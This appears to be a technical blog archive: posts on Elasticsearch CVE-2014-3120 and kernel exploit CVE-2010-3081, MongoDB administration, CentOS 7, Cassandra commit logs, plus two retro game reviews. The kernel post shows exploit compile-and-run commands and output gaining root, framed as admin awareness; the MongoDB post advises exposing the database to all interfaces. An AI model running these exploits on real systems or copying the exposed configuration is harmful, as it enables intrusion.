CVE-2014-3120 Elastic Search Remote Code Execution

First off, I would like to express the intention of this article is to protect and safeguard of administrators / developers who uses elastic search cluster in their production system and to make a living for the family. This blog is to make aware for those who deploy elasticsearch cluster and you should be aware of it and protect against the malicious attack. I take no responsibility if you and/or your evil minded take this to damage others.

To quickly fix for this issue, you should set this

script.disable_dynamic: true

to your elasticsearch.yaml configuration file and restart elasticsearch instance.

If you have noticed, disable_dynamic is set to false in elasticsearch version 1.1.2 and below. However, it is set to true after 1.2.0.

Just load this html file CVE-2014-3120 in your browser and then change the field "ES_IP_Address" and the and field "File to read/append to". If your es allow access via port 9200, it will show the content but if you  have block the port and disable the dynamic scripting, then you are safe.

If the file content is shown, then you can start to write to it. You need to change the html source to allow write. When this happened, the attacker will be able to gain access to your box using public/private key. That's not good!

The said html file is adaptation from http://www.exploit-db.com/exploits/33370/ and if you are interested to read more, please read this link.

CVE-2010-3081 Ac1dB1tch3z

First off, I would like to express the intention of this article is to protect and safeguard of administrators / developers who make a living for their family by maintaining computer system for company. This blog is to make aware for those who run linux operating system and you should be aware of it and protect against the malicious attack. I take no responsibility if you and/or your evil minded take this to damage others.

This exploit only vulnerable to kernel version 2.6.26-rc1 to 2.6.36-rc4. So be
alert if your production server are runnning these kernel. It has since been
fixed in the upstream as it can be found here.

So what is this exploit about?

A vulnerability in the 32-bit compatibility layer for 64-bit systems was reported. It is caused by insecure allocation of user space memory when translating system call inputs to 64-bit. A stack pointer underflow can occur when using the "compat_alloc_user_space" method inside arch/x86/include/asm/compat.h with an arbitrary length input.

or the long description here and here

Get the source here and compile it.

user@localhost:~$ gcc -m32 15024.c -o 15024
user@localhost:~$ ./15024
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
!!!  Un4bl3 t0 g3t r3l3as3 wh4t th3 fuq!

If the kernel is vulnerable to this exploit, check output below.

[bob@xxx ~]$ date
Sun Sep 19 18:22:38 BRT 2010
[bob@xxx ~]$ cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
[bob@xxx ~]$ uname -a
Linux xxx 2.6.18-194.11.3.el5 #1 SMP Mon Aug 23 15:51:38 EDT 2010 x86_64 x86_64 x86_64 GNU/Linux
[bob@xxx ~]$ id
uid=500(bob) gid=500(bob) groups=500(bob)
[bob@xxx ~]$ ./15024
Ac1dB1tCh3z VS Linux kernel 2.6 kernel 0d4y
$$$ Kallsyms +r
$$$ K3rn3l r3l3as3: 2.6.18-194.11.3.el5
??? Trying the F0PPPPPPPPPPPPPPPPpppppppppp_____ m3th34d
$$$ L00k1ng f0r kn0wn t4rg3tz..
$$$ c0mput3r 1z aqu1r1ng n3w t4rg3t...
$$$ selinux_ops->ffffffff80327ac0
$$$ dummy_security_ops->ffffffff804b9540
$$$ capability_ops->ffffffff80329380
$$$ selinux_enforcing->ffffffff804bc2a0
$$$ audit_enabled->ffffffff804a7124
$$$ Bu1ld1ng r1ngzer0c00l sh3llc0d3 - F0PZzzZzZZ/LSD(M) m3th34d
$$$ Prepare: m0rn1ng w0rk0ut b1tch3z
$$$ Us1ng st4nd4rd s3ash3llz
$$$ 0p3n1ng th3 m4giq p0rt4l
$$$ bl1ng bl1ng n1gg4 :PppPpPPpPPPpP
sh-3.2# id
uid=0(root) gid=500(bob) groups=500(bob)

That's it! Stay safe.

Retro Dude Review: Power Blade

Lets go back in time. This time we are counting 1991, only one year prior to the great SNES release in Europe. There was a game developed by Natsume, published by Taito, known in Japan only as Power Blazer, but to many others around the world as Power Blade. It had action, it had a super master computer, it had explosions everywhere, boomerangs, powerups, burgers and a kickass soundtrack that still to this day amazes me with its pure awsomeness. (https://www.youtube.com/watch?v=WPoIwNn4-2U) The graphics where almost unheard of and my little six year old mind was blown to pieces.

(Insert corney picture with sister below)

The game starts you out at the introscreen (Duh) where you get the options to either start the game in either normal or Expert mode, or continue using a code gotten from previous levels. But you gotta pick fast, and I do mean fast because it takes the intro sequence literally two seconds to start.

During the intro you get the backstory of the game.

In the year 2191 the earth has left all of its power in the hands of the infamous Master Computer and is now living under a Terminator, Skynet like control, and like in the not so related movie the machines decides that there is no longer any need for humans and goes haywire and tries to take over the world. 

It's now up to you. Nova the security-chief to set things right. You are told, by your boss. To go out and search the 6 sectors to find agents that are holding security-keys (one agent and key per sector) to unlock the doors that holds the defence robot that protects the Master Computer located in Sector 7, all while you watch your ass or backside, since this is a nes relase and we don't want any swearing.

You push start and then you get to the sector select screen. luckily they made this game like megaman so you get to choose which sector you want to start out in. The only one locked is Sector 7 since that is the one you are trying to get acces to. So lets talk about stages. The first stage starts you of at the bottom of a spacerocket that you have to climb to get to the boss and agent. It's pretty straight forward actually. Word of advice at the beginning of the stage. When you climb up the first ladder you can jump down on the platform to your right to get the awsome powerup. It will give you an android like appearance and a super weapon. Like I said when you get to the top you reach the first Defence robot or the Boss, if you prefer that term.

Now let it be said that even though the graphics is awsome, the sound is epic 8 bit art and the stages are extremely well thought out its all just to easy and you wont get to many problems anywhere in the game especially with the first boss. It's this white robot with a big gun that dosent do much of anything. He shoots his gun goes right, left and jumps over you. That might sound hard but everything he does is like in slow motion and it's way to easy to predict his moves. Besides by the time you reach him you got all the powerups and as long as you remember to dodge his slowmotion, small, wanna be bullets you will be just fine. You win the stage, get to the mainframe, turn it off and you continue to the level select screen.

The second stage is windmill heaven for some reason, but as a Dane I can't stop smiling about that one. And here is where the whole maze like stages sets in. If you got a little jump skill the stage is rather easy but I don't wanna spoil the game to much it's better you play it yourself. Just let me tell you this. There will be waterfalls, gears, the windmills, slugs and frogs that explodes for some odd reason I still need to figure out. The boss is a Dragon-robot that transforms into a fire spiral and it puts up some challenge until you figure out its pattern. It also shoots fireballs but just dodge those and you will be fine.

That gets us to Sector 3. How to explain this one I got no idea since it's bagground changes to everything from a futuristic look, a swamp like appereance to some sort of lava melting, moss thingy. It is all basicly just a little disturbing to say the least, and to top it all of the boss is a freaking robot bee hive. I mean what the fuck where they thinking here? I don't even know. It puzzles my mind even to this day.

Now Sector 4 is a half build skyscraper if anything and it can be tricky to get the hang of. Just make sure you get to the freezer room before you atemp the high climb towards the top of the building and you should be fine. The only real though spot to speak of is where you gotta jump from these moving platforms, where one mistake will send you hurling down to the ground, and nobody wants to clean up after that mess. The boss is this wanna be Thor the thunder robot god, and it is hard to tell the difference  right?

Well maybe not that much, and what is with the finger is he an E.T. or a thunder god? Either way aouch.

And that brings us up to Sector 5. Sector 5 has always for some reason been my favorite level in the game. The maze effect isnt really an issue here and almost the entire level is played out on an orange ship. The boss is this genie (and I don't mean the cute disney kind) like robot that disappears and pops up again at random while shooting bullets in all directions, and even though it's my favorite level there isn't really much else to say about it.

Sector 6 Takes place in a straight line with the city in the bagground. You can get into the sewers bellow by the ladders spread out on the road. Then you reach the main building that just reminds you once again of the mazes that's in this game. The boss is this huge android guy surrounded by platforms that appears and disappears like in Megaman. 

And then we got Sector 7 the last and final stage in the game. Now since this is the final game I won't tell you anything about it since I dont like to many spoilers in my everyday life so why should you? That is also the reason I have left out many things yet to be said about this game. All I will say is this.

If there ever where an all time favorite for the NES in my heart it will always be and always has been Power Blade. The Graphics is awsome the soundtrack I can still listen to with great joy in my heart, and the gameplay is solid. The only bad thing to say about this game is that it is to easy! You can complete it in 30 minutes or less if you have done it before. Even the expert mode dosen't leave you with much since the difficulty is the same, the only difference is that, the time you have to complete the stages is 350 seconds instead of 999 seconds. But that is all I'm going to say about this game. I'm going back to my controller to enjoy my childhood one more time.

Retro Dude saying goodbye and I do hope you get a chance on playing an instant classic!

Sadly this time alone  ;)

Study MongoDB administration

Today we are going to look into MongoDB administration. We will focus on a few areas, the backup, monitoring, configuration, import and export data.

backup and restore

• journaling must be enabled on the logical volume.

To backup, start by using command mongodump.

jason@localhost:~$ mongodump
connected to: 127.0.0.1
2014-07-07T22:46:09.351+0800 all dbs
2014-07-07T22:46:09.352+0800 DATABASE: test	 to 	dump/test
2014-07-07T22:46:09.354+0800 	test.system.indexes to dump/test/system.indexes.bson
2014-07-07T22:46:09.355+0800 		 4 documents
2014-07-07T22:46:09.356+0800 	test.testData to dump/test/testData.bson
2014-07-07T22:46:09.359+0800 		 400 documents
2014-07-07T22:46:09.360+0800 	Metadata for test.testData to dump/test/testData.metadata.json
2014-07-07T22:46:09.360+0800 	test.users to dump/test/users.bson
2014-07-07T22:46:09.361+0800 		 1 documents
2014-07-07T22:46:09.362+0800 	Metadata for test.users to dump/test/users.metadata.json
2014-07-07T22:46:09.362+0800 	test.accounts to dump/test/accounts.bson
2014-07-07T22:46:09.369+0800 		 2 documents
2014-07-07T22:46:09.370+0800 	Metadata for test.accounts to dump/test/accounts.metadata.json
2014-07-07T22:46:09.370+0800 	test.transactions to dump/test/transactions.bson
2014-07-07T22:46:09.372+0800 		 1 documents
2014-07-07T22:46:09.373+0800 	Metadata for test.transactions to dump/test/transactions.metadata.json
2014-07-07T22:46:09.374+0800 DATABASE: mydb	 to 	dump/mydb
2014-07-07T22:46:09.375+0800 	mydb.system.indexes to dump/mydb/system.indexes.bson
2014-07-07T22:46:09.376+0800 		 2 documents
2014-07-07T22:46:09.377+0800 	mydb.testData to dump/mydb/testData.bson
2014-07-07T22:46:09.378+0800 		 27 documents
2014-07-07T22:46:09.389+0800 	Metadata for mydb.testData to dump/mydb/testData.metadata.json
2014-07-07T22:46:09.390+0800 	mydb.users to dump/mydb/users.bson
2014-07-07T22:46:09.391+0800 		 1 documents
2014-07-07T22:46:09.392+0800 	Metadata for mydb.users to dump/mydb/users.metadata.json
2014-07-07T22:46:09.392+0800 DATABASE: mp3db	 to 	dump/mp3db
2014-07-07T22:46:09.393+0800 	mp3db.system.indexes to dump/mp3db/system.indexes.bson
2014-07-07T22:46:09.394+0800 		 4 documents
2014-07-07T22:46:09.395+0800 	mp3db.mp3.files to dump/mp3db/mp3.files.bson
2014-07-07T22:46:09.396+0800 		 1 documents
2014-07-07T22:46:09.397+0800 	Metadata for mp3db.mp3.files to dump/mp3db/mp3.files.metadata.json
2014-07-07T22:46:09.397+0800 	mp3db.mp3.chunks to dump/mp3db/mp3.chunks.bson
2014-07-07T22:46:09.401+0800 		 2 documents
2014-07-07T22:46:09.401+0800 	Metadata for mp3db.mp3.chunks to dump/mp3db/mp3.chunks.metadata.json
2014-07-07T22:46:09.402+0800 DATABASE: admin	 to 	dump/admin
2014-07-07T22:46:09.406+0800 DATABASE: config	 to 	dump/config

Let's remove some data from the database before we restore.

jason@localhost:~$ mongo
MongoDB shell version: 2.6.3
connecting to: test
Server has startup warnings:
2014-06-24T21:23:40.227+0800 [initandlisten]
2014-06-24T21:23:40.227+0800 [initandlisten] ** NOTE: This is a 32 bit MongoDB binary.
2014-06-24T21:23:40.227+0800 [initandlisten] **       32 bit builds are limited to less than 2GB of data (or less with --journal).
2014-06-24T21:23:40.227+0800 [initandlisten] **       Note that journaling defaults to off for 32 bit and is currently off.
2014-06-24T21:23:40.228+0800 [initandlisten] **       See http://dochub.mongodb.org/core/32bit
2014-06-24T21:23:40.228+0800 [initandlisten]
> use mp3db;
switched to db mp3db
> show tables;
mp3.chunks
mp3.files
system.indexes
> db.mp3.chunks.remove({});
WriteResult({ "nRemoved" : 2 })
> db.mp3.files.remove({});
WriteResult({ "nRemoved" : 1 })
> db.mp3.chunks.find();
> db.mp3.files.find();
>

Now we restore using command mongorestore.

jason@localhost:~$ mongorestore --collection mp3.chunks --db mp3db dump/mp3db/mp3.chunks.bson
connected to: 127.0.0.1
2014-07-07T23:14:43.504+0800 dump/mp3db/mp3.chunks.bson
2014-07-07T23:14:43.504+0800 	going into namespace [mp3db.mp3.chunks]
Restoring to mp3db.mp3.chunks without dropping. Restored data will be inserted without raising errors; check your server log
2 objects found
2014-07-07T23:14:43.534+0800 	Creating index: { key: { _id: 1 }, name: "_id_", ns: "mp3db.mp3.chunks" }
2014-07-07T23:14:43.635+0800 	Creating index: { key: { files_id: 1, n: 1 }, name: "files_id_1_n_1", ns: "mp3db.mp3.chunks" }

jason@localhost:~$ mongorestore --collection mp3.files --db mp3db dump/mp3db/mp3.files.bson
connected to: 127.0.0.1
2014-07-07T23:17:24.813+0800 dump/mp3db/mp3.files.bson
2014-07-07T23:17:24.813+0800 	going into namespace [mp3db.mp3.files]
Restoring to mp3db.mp3.files without dropping. Restored data will be inserted without raising errors; check your server log
1 objects found
2014-07-07T23:17:24.819+0800 	Creating index: { key: { _id: 1 }, name: "_id_", ns: "mp3db.mp3.files" }
2014-07-07T23:17:24.822+0800 	Creating index: { key: { filename: 1, uploadDate: 1 }, name: "filename_1_uploadDate_1", ns: "mp3db.mp3.files" }

Looks good, the restoration process and now we verify the content.

jason@localhost:~$ mongo
MongoDB shell version: 2.6.3
connecting to: test
Server has startup warnings:
2014-06-24T21:23:40.227+0800 [initandlisten]
2014-06-24T21:23:40.227+0800 [initandlisten] ** NOTE: This is a 32 bit MongoDB binary.
2014-06-24T21:23:40.227+0800 [initandlisten] **       32 bit builds are limited to less than 2GB of data (or less with --journal).
2014-06-24T21:23:40.227+0800 [initandlisten] **       Note that journaling defaults to off for 32 bit and is currently off.
2014-06-24T21:23:40.228+0800 [initandlisten] **       See http://dochub.mongodb.org/core/32bit
2014-06-24T21:23:40.228+0800 [initandlisten]
> use mp3db;
switched to db mp3db
> db.mp3.files.find();
{ "_id" : ObjectId("53ad61c844ae8a6ee12fcb63"), "chunkSize" : NumberLong(262144), "length" : NumberLong(316773), "md5" : "7293e9fd795e2bb6d5035e5b69cb2923", "filename" : "django.mp3", "contentType" : "audio/mpeg", "uploadDate" : ISODate("2014-06-27T12:21:28.646Z"), "aliases" : null }
>

Looks good. Now we move on to monitoring.

monitoring

mongostats - captures and returns the counts of database operations by type (e.g. insert, query, update, delete, etc.). These counts report on the load distribution on the server.

jason@localhost:~$ mongostat
connected to: 127.0.0.1
insert  query update delete getmore command flushes mapped  vsize    res faults   locked db idx miss %     qr|qw   ar|aw  netIn netOut  conn       time
    *0     *0     *0     *0       0     1|0       0   320m   445m    10m     14 config:0.0%          0       0|0     0|0    62b     3k     1   22:33:54
    *0     *0     *0     *0       0     1|0       0   320m   445m    10m      0   test:0.0%          0       0|0     0|0    62b     3k     1   22:33:55
    *0     *0     *0     *0       0     1|0       0   320m   445m    10m      0   test:0.0%          0       0|0     0|0    62b     3k     1   22:33:56
^C

mongotop tracks and reports the current read and write activity of a MongoDB instance, and reports these statistics on a per collection basis.

jason@localhost:~$ mongotop
connected to: 127.0.0.1

                            ns       total        read       write		2014-07-07T15:20:38
              mp3db.mp3.chunks         0ms         0ms         0ms
          local.system.replset         0ms         0ms         0ms
       local.system.namespaces         0ms         0ms         0ms
          local.system.indexes         0ms         0ms         0ms
             local.startup_log         0ms         0ms         0ms
                config.version         0ms         0ms         0ms
      config.system.namespaces         0ms         0ms         0ms

                            ns       total        read       write		2014-07-07T15:20:39
              mp3db.mp3.chunks         0ms         0ms         0ms
          local.system.replset         0ms         0ms         0ms
       local.system.namespaces         0ms         0ms         0ms
          local.system.indexes         0ms         0ms         0ms
             local.startup_log         0ms         0ms         0ms
                config.version         0ms         0ms         0ms
      config.system.namespaces         0ms         0ms         0ms
^C
jason@localhost:~$

HTTP Console - MongoDB provides a web interface that exposes diagnostic and monitoring information in a simple web page. For example , by accessing http://192.168.0.2:27017/

Now using db.serverStatus() from the mongo shell. The serverStatus command, or db.serverStatus() from the shell, returns a general overview of the status of the database, detailing disk usage, memory use, connection, journaling, and index access. The command returns quickly and does not impact MongoDB performance.

> db.serverStatus()
{
	"host" : "debby.e2e.serveftp.net",
	"version" : "2.6.3",
	"process" : "mongod",
	"pid" : NumberLong(3651),
	"uptime" : 1130615,
	"uptimeMillis" : NumberLong(1130614302),
	"uptimeEstimate" : 1115929,
	"localTime" : ISODate("2014-07-07T15:27:14.416Z"),
	"asserts" : {
		"regular" : 0,
		"warning" : 0,
		"msg" : 0,
		"user" : 2,
		"rollovers" : 0
	},
	"backgroundFlushing" : {
		"flushes" : 18843,
		"total_ms" : 127648,
		"average_ms" : 6.774292840842754,
		"last_ms" : 2,
		"last_finished" : ISODate("2014-07-07T15:26:43.282Z")
	},
	"connections" : {
		"current" : 1,
		"available" : 51199,
		"totalCreated" : NumberLong(57)
	},
	"cursors" : {
		"note" : "deprecated, use server status metrics",
		"clientCursors_size" : 0,
		"totalOpen" : 0,
		"pinned" : 0,
		"totalNoTimeout" : 2,
		"timedOut" : 1
	},
	"extra_info" : {
		"note" : "fields vary by platform",
		"heap_usage_bytes" : 23483832,
		"page_faults" : 13958
	},
	"globalLock" : {
		"totalTime" : NumberLong("1130614310000"),
		"lockTime" : NumberLong(184448),
		"currentQueue" : {
			"total" : 0,
			"readers" : 0,
			"writers" : 0
		},
		"activeClients" : {
			"total" : 0,
			"readers" : 0,
			"writers" : 0
		}
	},
	"indexCounters" : {
		"accesses" : 451,
		"hits" : 451,
		"misses" : 0,
		"resets" : 0,
		"missRatio" : 0
	},
	"locks" : {
		"." : {
			"timeLockedMicros" : {
				"R" : NumberLong(149),
				"W" : NumberLong(184448)
			},
			"timeAcquiringMicros" : {
				"R" : NumberLong(29),
				"W" : NumberLong(32)
			}
		},
		"admin" : {
			"timeLockedMicros" : {
				"r" : NumberLong(7348709),
				"w" : NumberLong(0)
			},
			"timeAcquiringMicros" : {
				"r" : NumberLong(55635),
				"w" : NumberLong(0)
			}
		},
		"local" : {
			"timeLockedMicros" : {
				"r" : NumberLong(59492773),
				"w" : NumberLong(32)
			},
			"timeAcquiringMicros" : {
				"r" : NumberLong(3164744),
				"w" : NumberLong(3)
			}
		},
		"config" : {
			"timeLockedMicros" : {
				"r" : NumberLong(182516),
				"w" : NumberLong(0)
			},
			"timeAcquiringMicros" : {
				"r" : NumberLong(46473),
				"w" : NumberLong(0)
			}
		},
		"mydb" : {
			"timeLockedMicros" : {
				"r" : NumberLong(43791920),
				"w" : NumberLong(118)
			},
			"timeAcquiringMicros" : {
				"r" : NumberLong(2159715),
				"w" : NumberLong(9)
			}
		},
		"test" : {
			"timeLockedMicros" : {
				"r" : NumberLong(28235652),
				"w" : NumberLong(252)
			},
			"timeAcquiringMicros" : {
				"r" : NumberLong(4052053),
				"w" : NumberLong(19)
			}
		},
		"mp3db" : {
			"timeLockedMicros" : {
				"r" : NumberLong(42491162),
				"w" : NumberLong(1053565)
			},
			"timeAcquiringMicros" : {
				"r" : NumberLong(6120501),
				"w" : NumberLong(832)
			}
		}
	},
	"network" : {
		"bytesIn" : 13516862,
		"bytesOut" : 34014948,
		"numRequests" : 733
	},
	"opcounters" : {
		"insert" : 112,
		"query" : 100247,
		"update" : 0,
		"delete" : 18,
		"getmore" : 3,
		"command" : 344
	},
	"opcountersRepl" : {
		"insert" : 0,
		"query" : 0,
		"update" : 0,
		"delete" : 0,
		"getmore" : 0,
		"command" : 0
	},
	"recordStats" : {
		"accessesNotInMemory" : 10,
		"pageFaultExceptionsThrown" : 1,
		"admin" : {
			"accessesNotInMemory" : 0,
			"pageFaultExceptionsThrown" : 0
		},
		"config" : {
			"accessesNotInMemory" : 0,
			"pageFaultExceptionsThrown" : 0
		},
		"local" : {
			"accessesNotInMemory" : 1,
			"pageFaultExceptionsThrown" : 0
		},
		"mp3db" : {
			"accessesNotInMemory" : 1,
			"pageFaultExceptionsThrown" : 1
		},
		"mydb" : {
			"accessesNotInMemory" : 2,
			"pageFaultExceptionsThrown" : 0
		},
		"test" : {
			"accessesNotInMemory" : 6,
			"pageFaultExceptionsThrown" : 0
		}
	},
	"writeBacksQueued" : false,
	"mem" : {
		"bits" : 32,
		"resident" : 12,
		"virtual" : 445,
		"supported" : true,
		"mapped" : 320
	},
	"metrics" : {
		"cursor" : {
			"timedOut" : NumberLong(1),
			"open" : {
				"noTimeout" : NumberLong(2),
				"pinned" : NumberLong(0),
				"total" : NumberLong(0)
			}
		},
		"document" : {
			"deleted" : NumberLong(72),
			"inserted" : NumberLong(112),
			"returned" : NumberLong(1294),
			"updated" : NumberLong(0)
		},
		"getLastError" : {
			"wtime" : {
				"num" : 0,
				"totalMillis" : 0
			},
			"wtimeouts" : NumberLong(0)
		},
		"operation" : {
			"fastmod" : NumberLong(0),
			"idhack" : NumberLong(0),
			"scanAndOrder" : NumberLong(0)
		},
		"queryExecutor" : {
			"scanned" : NumberLong(106),
			"scannedObjects" : NumberLong(106)
		},
		"record" : {
			"moves" : NumberLong(0)
		},
		"repl" : {
			"apply" : {
				"batches" : {
					"num" : 0,
					"totalMillis" : 0
				},
				"ops" : NumberLong(0)
			},
			"buffer" : {
				"count" : NumberLong(0),
				"maxSizeBytes" : 268435456,
				"sizeBytes" : NumberLong(0)
			},
			"network" : {
				"bytes" : NumberLong(0),
				"getmores" : {
					"num" : 0,
					"totalMillis" : 0
				},
				"ops" : NumberLong(0),
				"readersCreated" : NumberLong(0)
			},
			"preload" : {
				"docs" : {
					"num" : 0,
					"totalMillis" : 0
				},
				"indexes" : {
					"num" : 0,
					"totalMillis" : 0
				}
			}
		},
		"storage" : {
			"freelist" : {
				"search" : {
					"bucketExhausted" : NumberLong(0),
					"requests" : NumberLong(97),
					"scanned" : NumberLong(166)
				}
			}
		},
		"ttl" : {
			"deletedDocuments" : NumberLong(0),
			"passes" : NumberLong(18840)
		}
	},
	"ok" : 1
}
>

dbStats - The dbStats command, or db.stats() from the shell, returns a document that addresses storage use and data volumes. The dbStats reflect the amount of storage used, the quantity of data contained in the database, and object, collection, and index counters.

> use mp3db
switched to db mp3db
> db.stats()
{
	"db" : "mp3db",
	"collections" : 4,
	"objects" : 14,
	"avgObjSize" : 42210.28571428572,
	"dataSize" : 590944,
	"storageSize" : 35037184,
	"numExtents" : 7,
	"indexes" : 4,
	"indexSize" : 32704,
	"fileSize" : 67108864,
	"nsSizeMB" : 16,
	"dataFileVersion" : {
		"major" : 4,
		"minor" : 5
	},
	"extentFreeList" : {
		"num" : 0,
		"totalSize" : 0
	},
	"ok" : 1
}
>

collStats - The collStats provides statistics that resemble dbStats on the collection level, including a count of the objects in the collection, the size of the collection, the amount of disk space used by the collection, and information about its indexes.

> db.mp3.chunks.stats()
{
	"ns" : "mp3db.mp3.chunks",
	"count" : 2,
	"size" : 589792,
	"avgObjSize" : 294896,
	"storageSize" : 35012608,
	"numExtents" : 4,
	"nindexes" : 2,
	"lastExtentSize" : 15290368,
	"paddingFactor" : 1,
	"systemFlags" : 1,
	"userFlags" : 1,
	"totalIndexSize" : 16352,
	"indexSizes" : {
		"_id_" : 8176,
		"files_id_1_n_1" : 8176
	},
	"ok" : 1
}
>

replSetGetStatus - The replSetGetStatus command (rs.status() from the shell) returns an overview of your replica set’s status. The replSetGetStatus document details the state and configuration of the replica set and statistics about its members.

> rs.status()
{ "ok" : 0, "errmsg" : "not running with --replSet" }

log available in /var/log/mongodb/mongod.log

configuration

There are too many configurations to covered here but below are the essential configurations which you might need to change.

As mentioned previously, if the app that connected to the database are on two different servers, then in the server that run mongo instance, you should comment out bind_ip

# Listen to local interface only. Comment out to listen on all interfaces.
#bind_ip = 127.0.0.1

Default port running is 27017 but you should make sure that this port and ip allow to be access remotely.

use kernel 2.6.36 or later.

In general, if you use the Ext4 file system, use at least version 2.6.23 of the Linux Kernel.

In general, if you use the XFS file system, use at least version 2.6.25 of the Linux Kernel.

Set the file descriptor limit, -n, and the user process limit (ulimit), -u, above 20,000, according to the suggestions in the ulimit document. A low ulimit will affect MongoDB when under heavy use and can produce errors and lead to failed connections to MongoDB processes and loss of service.

That's it. Please go to the donate page and contribute back if you learned something.

CentOS 7 released and checking out release notes

I'm always a big fan and user of CentOS. Started using CentOS 4 and it is very stables and secure for company servers usage. With the current release of CentOS 7, it is definitely worth while to check in out the release note.

It is definitely encourage to see that, for the first time, major upgrade between major CentOS is possible now.

The install media is splited such that it comes with the window managers. For server installation, you should really go using net install.

These are some major changes which should be noticeable. Like Wow!

• Kernel updated to 3.10.0


• Support for Linux Containers


• Open VMware Tools and 3D graphics drivers out of the box


• OpenJDK-7 as default JDK


• In Place Upgrade from 6.5 to 7.0 (as already mentioned)


• Switch to systemd, firewalld and GRUB2


• XFS as default file system


• iSCSI and FCoE in kernel space


• Support for PTPv2


• Support for 40G Ethernet Cards


• Supports installations in UEFI Secure Boot mode on compatible hardware

There are some known issues which you should really consider if you are doing upgrade and make sure you are well prepare.
network - Many people have complained that Ethernet interfaces are not started with the new default NetworkManager tool/have to be explicitly enabled during installation. See CentOS-7 FAQ#2.
installer memory usage - The installer needs at least 406MB of memory to work. On systems with less memory then 406MB the installation will terminate with a fatal error. 512MB is the minimum memory requirement for CentOS-7.
small screen - If your screen resolution is 800x600 or lower, parts of the images shown at the bottom during install are clipped. So watch up on the next,back and cancel buttons.
So I think this is a brief summary to get you started but you can find more at here.

Cassandra discarding obsolete commit log

Often times, I noticed the log show the following lines in apache cassandra 1.0.8

INFO [COMMIT-LOG-WRITER] 2014-06-30 08:58:55,039 CommitLog.java (line 490) Discarding obsolete commit log:CommitLogSegment(/mnt/cassandra/commitlog/CommitLog-1404095354976.log)

It looks nothing to worry about as the log level is INFO. However, I often see this and just to check to understand what it really is.

This log is written by CommitLog.java.

private void maybeDiscardSegment(CommitLogSegment segment, Iterator<CommitLogSegment> iter)
{
    if (segment.isSafeToDelete() && iter.hasNext())
    {
        logger.info("Discarding obsolete commit log:" + segment);
        FileUtils.deleteAsync(segment.getPath());
        // usually this will be the first (remaining) segment, but not always, if segment A contains
        // writes to a CF that is unflushed but is followed by segment B whose CFs are all flushed.
        iter.remove();
    }
    else
    {
        if (logger.isDebugEnabled())
            logger.debug("Not safe to delete commit log " + segment + "; dirty is " + segment.dirtyString() + "; hasNext: " + iter.hasNext());
    }
}

So why discard segment? From the code documentation

Commit Log tracks every write operation into the system. The aim of the commit log is to be able to successfully recover data that was not stored to disk via the Memtable. Every Commit Log maintains a header represented by the abstraction CommitLogHeader. The header contains a bit array and an array of longs and both the arrays are of size, #column families for the Table, the Commit Log represents.

Whenever a ColumnFamily is written to, for the first time its bit flag is set to one in the CommitLogHeader. When it is flushed to disk by the Memtable its corresponding bit in the header is set to zero. This helps track which CommitLogs can be thrown away as a result of Memtable flushes. Additionally, when a ColumnFamily is flushed and written to disk, its entry in the array of longs is updated with the offset in the Commit Log file where it was written. This helps speed up recovery since we can seek to these offsets and start processing the commit log.

Every Commit Log is rolled over everytime it reaches its threshold in size; the new log inherits the "dirty" bits from the old.

Over time there could be a number of commit logs that would be generated. To allow cleaning up non-active commit logs, whenever we flush a column family and update its bit flag in the active CL, we take the dirty bit array and bitwise & it with the headers of the older logs. If the result is 0, then it is safe to remove the older file. (Since the new CL inherited the old's dirty bitflags, getting a zero for any given bit in the anding means that either the CF was clean in the old CL or it has been flushed since the switch in the new.)

So that's pretty clear why commit log is remove. Tracing the call upward,

CommitLog.maybeDiscardSegment()
  ^
  |
  +--- CommitLog.discardCompletedSegmentsInternal()
    ^
    |
    +--- CommitLog.discardCompletedSegments()
       ^
       |
       +--- ColumnFamilyStore.maybeSwitchMemtable()
       |
       +--- ColumnFamilyStore.truncate()

So whenever a column family is truncated, the commit log is discard (remove) as well which make sense. When maybeSwitchMemtable is executed, that is, memtable is flushed, after that, its segments get discard (remove) as well.

This logging message is just fine as it is part of cassandra operation. That's it for this article.

Retro Dude Review: Pitfall

Hello everyone! Shall we play a game?

This time we're gonna take a closer look on a classic atari 2600 game better known as Pitfall or Pitfall Harry's Jungle Adventure.

The year was 1982 and the gaming industri was booming. An arcade on every corner and Starcade on the T.V. not a bad year to be a gamer at all. Atari was making the big bucks but failed to give credit where credit was due and because of that Activision was born. But thats enough brief history for now.

Pitfall made by brilliant designer David Crane who is also responsible for such titles as Dragster, Freeway, Laser Blast and many others, is an adventure game where you take the role as Harry. Your task is to find the 32 treasures of the jungle within 20 minutes while avoiding pits, lakes, crokodiles, snakes, huge scorpions, rolling logs everywhere and much more. The game ends when all the treasure is found, your time is up or when you have used up all your lives. The game itself contains 255 trees all of wich Harry will pass on his journey making the game a cirkular maze. That basicly means when you have finished the end screen the first screen reappears. Now while the graphics might not seem like much today back in that time it must have been impressive I'm sure. The sounds are typical Atari and it's the first game I have ever encountered with no music. There is only sound while you jump, die or run into logs and it makes the game at first glance seem rather boring (But I guess it beats the Astroids soundtrack) The gameplay on the other hand is very nice. Its smooth controlling all the way but its still hard as *!#@ Trust me on this one when you try jumping over a crokodile pit your accuracy and precision has to be perfect, and I do mean perfect if you're just a split second off you are dead. Then we got these almost trap like pits that just apears out of nowhere on the ground and they will lure you into sweet, sweet game over, right until you're ready to explode of pure agony! But once you get the hang of it the only real trick is to collect all the treasure before the timer runs out. So far after countless tries im still missing 2 (But hey im no expert)



Pitfall is all in all a very decent game compared to alot of other games that came out in that time period, the graphics and gameplay is nice and its almost addictive when you decide on getting all 32 treasures, and its one of the few atari games with an actual end goal, not just scoring points for all eternity. The commercial even had a very young Jack Black (that  at the time might not have meant that much but today its pretty damn cool) So all in all if I had to rate it I would say its an 8/10 due to the missing soundtrack.

 

Thats all for my first review this is the Retro Dude saying goodbye and I do hope you get a chance on playing an instant classic!